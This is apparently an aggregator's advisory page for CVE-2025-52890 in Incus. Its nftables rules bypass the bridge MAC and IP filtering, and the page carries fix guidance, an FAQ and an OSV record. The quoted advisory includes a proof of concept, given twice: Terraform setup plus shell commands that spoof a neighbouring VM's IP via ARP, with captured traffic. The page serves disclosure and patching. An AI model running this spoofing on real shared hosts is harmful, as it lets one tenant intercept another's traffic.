CVE-2025-52890: Github.com/lxc/incus/v6 Incus Creates Nftables Rules That Vulnerability

HIGH
Advisory Identifier: GHSA-p7fw-vjjm-2rwp
CVSS 8.1
CWE-863
Published
Advisory Summary

CVE-2025-52890 is a HIGH (CVSS 8.1) incus creates nftables rules that vulnerability (CWE-863: Incorrect Authorization) affecting Github.com/lxc/incus/v6 libraries in the Go ecosystem. The issue involves incus creates nftables rules that partially bypass security options. Remediation is available by upgrading affected packages to version 6.14.0.

CVE-2025-52890 at a Glance

CVE Identifier CVE-2025-52890
GHSA Identifier GHSA-p7fw-vjjm-2rwp
Severity HIGH
CVSS v3.1 Base Score 8.1
CWE Classification CWE-863: Incorrect Authorization
Affected Product Github.com/lxc/incus/v6
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:H).

Attack Vector Adjacent (AV:A)
Attack Complexity Low (AC:L)
Privileges Required High (PR:H)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2025-52890

To remediate this vulnerability, upgrade all affected Github.com/lxc/incus/v6 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/lxc/incus/v6 fixed: 6.14.0
Upgrade github.com/lxc/incus/v6 to 6.14.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/lxc/incus/v6

How to Check if You Are Affected

To determine whether your application is affected by CVE-2025-52890, inspect your project dependencies for Github.com/lxc/incus/v6:

inspect dependencies for github.com/lxc/incus/v6

Analyze the terminal output to locate any version of Github.com/lxc/incus/v6 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 6.14.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-863: Incorrect Authorization, where the product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. In Github.com/lxc/incus/v6, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary When using an ACL on a device connected to a bridge, Incus generates nftables rules that partially bypass security options `security.mac_filtering`, `security.ipv4_filtering` and `security.ipv6_filtering`. This can lead to ARP spoofing on the bridge and to fully spoof another VM/container on the same bridge. ### Details In commit d137a063c2fe2a6983c995ba75c03731bee1557d, a few rules in the bridge input chain are moved to the top of the chain: ct state established,related accept iifname "{{.hostName}}" ether type arp accept iifname "{{.hostName}}" ip6 nexthdr ipv6-icmp icmpv6 type { nd-neighbor-solicit, nd-neighbor-advert } accept However, these rules accept packets that should be filtered and maybe dropped by later rules in the "MAC filtering", "IPv4 filtering" and "IPv6 filtering" snippets: iifname "{{.hostName}}" ether type arp arp saddr ether != {{.hwAddr}} drop iifname "{{.hostName}}" ether type ip6 icmpv6 type 136 @nh,528,48 != {{.hwAddrHex}} drop ... iifname "{{.hostName}}" ether type arp arp saddr ip != { {{.ipv4NetsList}} } drop ... iifname "{{.hostName}}" ether type ip6 icmpv6 type 136 {{.ipv6NetsPrefixList}} drop Basically, the added rules partially bypass the security options `security.mac_filtering`, `security.ipv4_filtering` and `security.ipv6_filtering`. Doing so, they allow an attacker to perform ARP poisoning/spoofing attacks and send malicious Neighbor Advertisement (type 136). ### PoC With this terraform infrastructure: ``` resource "incus_network_acl" "acl_allow_out" { name = "acl-allow-out" egress = [ { action = "allow" destination = "0.0.0.0-9.255.255.255,11.0.0.0-172.15.255.255,172.32.0.0-192.167.255.255,192.169.0.0-255.255.255.254" state = "enabled" }, ] } resource "incus_network_acl" "acl_allow_in" { name = "acl-allow-in" ingress = [ { action = "allow" state = "enabled" }, ] } resource "incus_network" "br0" { name = "br0" config = { "ipv4.address" = "10.0.0.1/24" "ipv4.nat" = "true" } } resource "incus_instance" "machine1" { name = "machine1" image = "images:archlinux/cloud" type = "virtual-machine" config = { "limits.memory" = "2GiB" "security.secureboot" = false "boot.autostart" = false "cloud-init.vendor-data" = <<-EOF #cloud-config package_update: true packages: - dhclient - tcpdump runcmd: - systemctl disable --now systemd.networkd.service - systemctl disable --now systemd.networkd.socket EOF } device { type = "disk" name = "root" properties = { pool = "default" path = "/" size = "64GiB" } } device { type = "nic" name = "eth0" properties = { network = incus_network.br0.name "security.ipv4_filtering" = true "security.acls" = join(",", [ incus_network_acl.acl_allow_out.name, incus_network_acl.acl_allow_in.name, ]) } } } resource "incus_instance" "machine2" { name = "machine2" image = "images:archlinux/cloud" type = "virtual-machine" config = { "limits.memory" = "2GiB" "security.secureboot" = false "boot.autostart" = false } device { type = "disk" name = "root" properties = { pool = "default" path = "/" size = "64GiB" } } device { type = "nic" name = "eth0" properties = { network = incus_network.br0.name } } } ``` An attacker in a VM (machine1) change their IP address to another VM (machine2)'s IP. The malicious change is reflected in the ARP table of the host, bypassing the MAC filtering. When the host emits or forwards a packet to machine2's IP, it is sent to machine1. In addition, as `ct state established,related accept` is now the first rule in bridge chain input, machine1 can even answer and thus fully spoof the victim on the network. ```bash [HOST]$ ip n 10.0.0.236 dev br0 lladdr 10:66:6a:88:e6:5b REACHABLE # machine2 10.0.0.2 dev br0 lladdr 10:66:6a:89:39:45 REACHABLE # machine1 # Spoof machine2 [MACHINE1]$ ip add del 10.0.0.2/24 dev enp5s0 [MACHINE1]$ ip add add 10.0.0.236/24 dev enp5s0 # Flood [MACHINE1]$ arping 10.0.0.1 # Machine2's IP refers to machine1's MAC in host ARP table [HOST]$ ip n 10.0.0.236 dev br0 lladdr 10:66:6a:89:39:45 STALE # Packets from the host (or forwarded by the host) to machine2 ... [HOST]$ ping 10.0.0.236 PING 10.0.0.236 (10.0.0.236) 56(84) bytes of data. 64 bytes from 10.0.0.236: icmp_seq=1 ttl=64 time=1.19 ms # ... are sent to machine1! [MACHINE1]$ tcpdump -nei enp5s0 listening on enp5s0, link-type EN10MB (Ethernet), snapshot length 262144 bytes 15:15:17.008470 10:66:6a:99:e0:d8 > 10:66:6a:89:39:45, ethertype IPv4 (0x0800), length 98: 10.0.0.1 > 10.0.0.236: ICMP echo request, id 4, seq 1, length 64 15:15:17.008513 10:66:6a:89:39:45 > 10:66:6a:99:e0:d8, ethertype IPv4 (0x0800), length 98: 10.0.0.236 > 10.0.0.1: ICMP echo reply, id 4, seq 1, length 64 ``` ### Impact All versions since d137a063c2fe2a6983c995ba75c03731bee1557d, so basically v6.12 and v6.13.

CVE-2025-52890 Affected Github.com/lxc/incus/v6 Versions

1 component(s)
Fixed Versions:
6.14.0
Product / Package Ecosystem Affected Versions Fixed Version
github.com/lxc/incus/v6
Go
≥ 6.12.0
< 6.14.0
6.14.0

References

Frequently Asked Questions

What is CVE-2025-52890?
CVE-2025-52890 is a security vulnerability in Github.com/lxc/incus/v6 involving Incus creates nftables rules that partially bypass security options under CWE-863: Incorrect Authorization.
Which Github.com/lxc/incus/v6 versions are affected?
Affected versions include releases prior to 6.14.0 across affected packages: github.com/lxc/incus/v6.
What version fixes CVE-2025-52890?
Upgrading to 6.14.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/lxc/incus/v6 affected?
Yes, github.com/lxc/incus/v6 is affected in releases prior to 6.14.0. Upgrade your dependency to 6.14.0 or later.
What is the CVSS score of CVE-2025-52890?
CVE-2025-52890 has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:H.
What CWE is associated with CVE-2025-52890?
CVE-2025-52890 is classified under CWE-863: Incorrect Authorization (The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.).
How can I check Go dependencies for CVE-2025-52890?
Run the dependency tree command: 'inspect dependencies for github.com/lxc/incus/v6'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-p7fw-vjjm-2rwp",
  "modified" : "2026-03-30T13:54:07Z",
  "published" : "2025-06-26T21:12:45Z",
  "aliases" : [ "CVE-2025-52890" ],
  "summary" : "Incus creates nftables rules that partially bypass security options",
  "details" : "### Summary\n\nWhen using an ACL on a device connected to a bridge, Incus generates nftables rules that partially bypass security options `security.mac_filtering`, `security.ipv4_filtering` and `security.ipv6_filtering`. This can lead to ARP spoofing on the bridge and to fully spoof another VM/container on the same bridge.\n\n### Details\n\nIn commit d137a063c2fe2a6983c995ba75c03731bee1557d, a few rules in the bridge input chain are moved to the top of the chain:\n\n    ct state established,related accept\n\n    iifname \"{{.hostName}}\" ether type arp accept\n    iifname \"{{.hostName}}\" ip6 nexthdr ipv6-icmp icmpv6 type { nd-neighbor-solicit, nd-neighbor-advert } accept\n\nHowever, these rules accept packets that should be filtered and maybe dropped by later rules in the \"MAC filtering\", \"IPv4 filtering\" and \"IPv6 filtering\" snippets:\n\n\tiifname \"{{.hostName}}\" ether type arp arp saddr ether != {{.hwAddr}} drop\n\tiifname \"{{.hostName}}\" ether type ip6 icmpv6 type 136 @nh,528,48 != {{.hwAddrHex}} drop\n    ...\n    iifname \"{{.hostName}}\" ether type arp arp saddr ip != { {{.ipv4NetsList}} } drop\n    ...\n\tiifname \"{{.hostName}}\" ether type ip6 icmpv6 type 136 {{.ipv6NetsPrefixList}} drop\n\nBasically, the added rules partially bypass the security options `security.mac_filtering`, `security.ipv4_filtering` and `security.ipv6_filtering`. Doing so, they allow an attacker to perform ARP poisoning/spoofing attacks and send malicious Neighbor Advertisement (type 136).\n\n### PoC\n\nWith this terraform infrastructure:\n\n```\nresource \"incus_network_acl\" \"acl_allow_out\" {\n  name    = \"acl-allow-out\"\n  egress = [\n    {\n      action           = \"allow\"\n      destination      = \"0.0.0.0-9.255.255.255,11.0.0.0-172.15.255.255,172.32.0.0-192.167.255.255,192.169.0.0-255.255.255.254\"\n      state            = \"enabled\"\n    },\n  ]\n}\nresource \"incus_network_acl\" \"acl_allow_in\" {\n  name    = \"acl-allow-in\"\n  ingress = [\n    {\n      action           = \"allow\"\n      state            = \"enabled\"\n    },\n  ]\n}\n\nresource \"incus_network\" \"br0\" {\n  name = \"br0\"\n  config = {\n    \"ipv4.address\"          = \"10.0.0.1/24\"\n    \"ipv4.nat\"              = \"true\"\n  }\n}\n\nresource \"incus_instance\" \"machine1\" {\n  name  = \"machine1\"\n  image = \"images:archlinux/cloud\"\n  type = \"virtual-machine\"\n  config = {\n    \"limits.memory\" = \"2GiB\"\n    \"security.secureboot\" = false\n    \"boot.autostart\" = false\n    \"cloud-init.vendor-data\" = <<-EOF\n      #cloud-config\n      package_update: true\n      packages:\n        - dhclient\n        - tcpdump\n      runcmd:\n        - systemctl disable --now systemd.networkd.service\n        - systemctl disable --now systemd.networkd.socket\n    EOF\n  }\n  device {\n    type = \"disk\"\n    name = \"root\"\n    properties = {\n      pool = \"default\"\n      path = \"/\"\n      size = \"64GiB\"\n    }\n  }\n  device {\n    type = \"nic\"\n    name = \"eth0\"\n    properties = {\n      network = incus_network.br0.name\n      \"security.ipv4_filtering\" = true\n      \"security.acls\" = join(\",\",\n        [\n          incus_network_acl.acl_allow_out.name,\n          incus_network_acl.acl_allow_in.name,\n        ])\n    }\n  }\n}\n\nresource \"incus_instance\" \"machine2\" {\n  name  = \"machine2\"\n  image = \"images:archlinux/cloud\"\n  type = \"virtual-machine\"\n  config = {\n    \"limits.memory\" = \"2GiB\"\n    \"security.secureboot\" = false\n    \"boot.autostart\" = false\n  }\n  device {\n    type = \"disk\"\n    name = \"root\"\n    properties = {\n      pool = \"default\"\n      path = \"/\"\n      size = \"64GiB\"\n    }\n  }\n  device {\n    type = \"nic\"\n    name = \"eth0\"\n    properties = {\n      network = incus_network.br0.name\n    }\n  }\n}\n```\n\nAn attacker in a VM (machine1) change their IP address to another VM (machine2)'s IP. The malicious change is reflected in the ARP table of the host, bypassing the MAC filtering. When the host emits or forwards a packet to machine2's IP, it is sent to machine1.\nIn addition, as `ct state established,related accept` is now the first rule in bridge chain input, machine1 can even answer and thus fully spoof the victim on the network.\n\n```bash\n[HOST]$ ip n\n10.0.0.236 dev br0 lladdr 10:66:6a:88:e6:5b REACHABLE # machine2\n10.0.0.2 dev br0 lladdr 10:66:6a:89:39:45 REACHABLE # machine1\n\n# Spoof machine2\n[MACHINE1]$ ip add del 10.0.0.2/24 dev enp5s0\n[MACHINE1]$ ip add add 10.0.0.236/24 dev enp5s0\n\n# Flood\n[MACHINE1]$ arping 10.0.0.1\n\n# Machine2's IP refers to machine1's MAC in host ARP table\n[HOST]$ ip n\n10.0.0.236 dev br0 lladdr 10:66:6a:89:39:45 STALE\n\n# Packets from the host (or forwarded by the host) to machine2 ...\n[HOST]$ ping 10.0.0.236\nPING 10.0.0.236 (10.0.0.236) 56(84) bytes of data.\n64 bytes from 10.0.0.236: icmp_seq=1 ttl=64 time=1.19 ms\n\n# ... are sent to machine1!\n[MACHINE1]$ tcpdump -nei enp5s0\nlistening on enp5s0, link-type EN10MB (Ethernet), snapshot length 262144 bytes\n15:15:17.008470 10:66:6a:99:e0:d8 > 10:66:6a:89:39:45, ethertype IPv4 (0x0800), length 98: 10.0.0.1 > 10.0.0.236: ICMP echo request, id 4, seq 1, length 64\n15:15:17.008513 10:66:6a:89:39:45 > 10:66:6a:99:e0:d8, ethertype IPv4 (0x0800), length 98: 10.0.0.236 > 10.0.0.1: ICMP echo reply, id 4, seq 1, length 64\n```\n\n### Impact\n\nAll versions since d137a063c2fe2a6983c995ba75c03731bee1557d, so basically v6.12 and v6.13.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/lxc/incus/v6"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "6.12.0"
      }, {
        "fixed" : "6.14.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 6.13.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/lxc/incus/security/advisories/GHSA-p7fw-vjjm-2rwp"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-52890"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/lxc/incus/commit/254dfd2483ab8de39b47c2258b7f1cf0759231c8"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/lxc/incus"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-863" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-06-26T21:12:45Z",
    "nvd_published_at" : "2025-06-25T17:15:39Z"
  }
}